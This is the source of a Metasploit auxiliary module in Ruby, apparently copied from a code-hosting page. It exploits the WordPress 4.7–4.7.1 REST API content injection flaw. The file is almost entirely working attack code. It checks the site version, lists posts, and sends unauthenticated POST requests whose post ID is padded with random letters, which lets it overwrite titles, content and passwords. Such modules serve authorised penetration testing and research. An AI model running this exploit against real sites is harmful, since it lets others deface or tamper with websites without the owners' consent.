195 lines
4.9 KiB
Ruby
195 lines
4.9 KiB
Ruby
|
##
|
||
|
# This module requires Metasploit: http://metasploit.com/download
|
||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||
|
##
|
||
|
|
||
|
class MetasploitModule < Msf::Auxiliary
|
||
|
|
||
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
||
|
include Msf::Auxiliary::Scanner
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'WordPress REST API Content Injection',
|
||
|
'Description' => %q{
|
||
|
This module exploits a content injection vulnerability in WordPress
|
||
|
versions 4.7 and 4.7.1 via type juggling in the REST API.
|
||
|
},
|
||
|
'Author' => [
|
||
|
'Marc Montpas', # Vulnerability discovery
|
||
|
'wvu' # Metasploit module
|
||
|
],
|
||
|
'References' => [
|
||
|
['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'],
|
||
|
['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'],
|
||
|
['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'],
|
||
|
['URL', 'https://developer.wordpress.org/rest-api/reference/posts/']
|
||
|
],
|
||
|
'DisclosureDate' => 'Feb 1 2017',
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Actions' => [
|
||
|
['LIST', 'Description' => 'List posts'],
|
||
|
['UPDATE', 'Description' => 'Update post']
|
||
|
],
|
||
|
'DefaultAction' => 'LIST'
|
||
|
))
|
||
|
|
||
|
register_options([
|
||
|
OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]),
|
||
|
OptString.new('POST_TITLE', [false, 'Post title']),
|
||
|
OptString.new('POST_CONTENT', [false, 'Post content']),
|
||
|
OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])
|
||
|
])
|
||
|
end
|
||
|
|
||
|
def check_host(_ip)
|
||
|
if (version = wordpress_version)
|
||
|
version = Gem::Version.new(version)
|
||
|
else
|
||
|
return Exploit::CheckCode::Safe
|
||
|
end
|
||
|
|
||
|
vprint_status("WordPress #{version}: #{full_uri}")
|
||
|
|
||
|
if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1'))
|
||
|
Exploit::CheckCode::Appears
|
||
|
else
|
||
|
Exploit::CheckCode::Detected
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def run_host(_ip)
|
||
|
case action.name
|
||
|
when 'LIST'
|
||
|
do_list
|
||
|
when 'UPDATE'
|
||
|
do_update
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def do_list
|
||
|
posts_to_list = list_posts
|
||
|
|
||
|
return if posts_to_list.empty?
|
||
|
|
||
|
tbl = Rex::Text::Table.new(
|
||
|
'Header' => full_uri,
|
||
|
'Columns' => ['ID', 'Title', 'URL', 'Password']
|
||
|
)
|
||
|
|
||
|
posts_to_list.each do |post|
|
||
|
tbl << [
|
||
|
post[:id],
|
||
|
Rex::Text.html_decode(post[:title]),
|
||
|
post[:url],
|
||
|
post[:password] ? 'Yes' : 'No'
|
||
|
]
|
||
|
end
|
||
|
|
||
|
print_line(tbl.to_s)
|
||
|
end
|
||
|
|
||
|
def do_update
|
||
|
posts_to_update = []
|
||
|
|
||
|
if datastore['POST_ID'] == 0
|
||
|
posts_to_update = list_posts
|
||
|
else
|
||
|
posts_to_update << {id: datastore['POST_ID']}
|
||
|
end
|
||
|
|
||
|
return if posts_to_update.empty?
|
||
|
|
||
|
posts_to_update.each do |post|
|
||
|
res = update_post(post[:id],
|
||
|
title: datastore['POST_TITLE'],
|
||
|
content: datastore['POST_CONTENT'],
|
||
|
password: datastore['POST_PASSWORD']
|
||
|
)
|
||
|
|
||
|
post_url = full_uri(wordpress_url_post(post[:id]))
|
||
|
|
||
|
if res && res.code == 200
|
||
|
print_good("SUCCESS: #{post_url}")
|
||
|
else
|
||
|
print_error("FAILURE: #{post_url}")
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def list_posts
|
||
|
posts = []
|
||
|
|
||
|
res = send_request_cgi({
|
||
|
'method' => 'GET',
|
||
|
'uri' => normalize_uri(get_rest_api, 'posts')
|
||
|
}, 3.5)
|
||
|
|
||
|
if res && res.code == 200
|
||
|
res.get_json_document.each do |post|
|
||
|
posts << {
|
||
|
id: post['id'],
|
||
|
title: post['title']['rendered'],
|
||
|
url: post['link'],
|
||
|
password: post['content']['protected']
|
||
|
}
|
||
|
end
|
||
|
end
|
||
|
|
||
|
posts
|
||
|
end
|
||
|
|
||
|
def update_post(id, opts = {})
|
||
|
payload = {}
|
||
|
|
||
|
payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}"
|
||
|
payload[:title] = opts[:title] if opts[:title]
|
||
|
payload[:content] = opts[:content] if opts[:content]
|
||
|
payload[:password] = opts[:password] if opts[:password]
|
||
|
|
||
|
send_request_cgi({
|
||
|
'method' => 'POST',
|
||
|
'uri' => normalize_uri(get_rest_api, 'posts', id),
|
||
|
'ctype' => 'application/json',
|
||
|
'data' => payload.to_json
|
||
|
}, 3.5)
|
||
|
end
|
||
|
|
||
|
def get_rest_api
|
||
|
return @rest_api if @rest_api
|
||
|
|
||
|
res = send_request_cgi!({
|
||
|
'method' => 'GET',
|
||
|
'uri' => normalize_uri(target_uri.path)
|
||
|
}, 3.5)
|
||
|
|
||
|
if res && res.code == 200
|
||
|
@rest_api = parse_rest_api(res)
|
||
|
end
|
||
|
|
||
|
@rest_api ||= wordpress_url_rest_api
|
||
|
end
|
||
|
|
||
|
def parse_rest_api(res)
|
||
|
rest_api = nil
|
||
|
|
||
|
link = res.headers['Link']
|
||
|
html = res.get_html_document
|
||
|
|
||
|
if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$}
|
||
|
rest_api = route_rest_api($1)
|
||
|
vprint_status("REST API (Link header): #{rest_api}")
|
||
|
elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href'))
|
||
|
rest_api = route_rest_api(xpath)
|
||
|
vprint_status("REST API (HTML document): #{rest_api}")
|
||
|
end
|
||
|
|
||
|
rest_api
|
||
|
end
|
||
|
|
||
|
def route_rest_api(rest_api)
|
||
|
normalize_uri(path_from_uri(rest_api), 'wp/v2')
|
||
|
end
|
||
|
|
||
|
end
|